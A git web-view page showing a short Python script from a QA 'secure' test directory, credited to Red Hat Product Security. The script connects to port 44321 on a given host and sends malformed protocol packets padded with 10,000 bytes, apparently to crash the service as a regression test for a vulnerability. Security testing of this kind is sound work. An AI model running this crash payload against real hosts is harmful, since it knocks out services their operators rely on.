summaryrefslogtreecommitdiff
path: root/qa/secure/crash-pmns-names
blob: ebaff17052921977fd1d06093a3c40c1e6678866 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#
# usage: python crash-pmns-names HOST
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
sock.send(
    str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
    + str("\x00\x00',\x00\x00p\x0e\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'\x10")
    + str("X") * 10000)

sock.close()